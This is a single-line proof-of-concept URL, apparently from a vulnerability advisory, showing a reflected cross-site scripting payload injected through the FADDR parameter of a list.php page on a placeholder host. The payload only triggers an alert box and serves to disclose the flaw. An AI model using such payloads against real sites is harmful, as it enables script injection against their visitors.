http://www.example.com/[path]/list.php?FADDR="><script>alert("XSS");</script>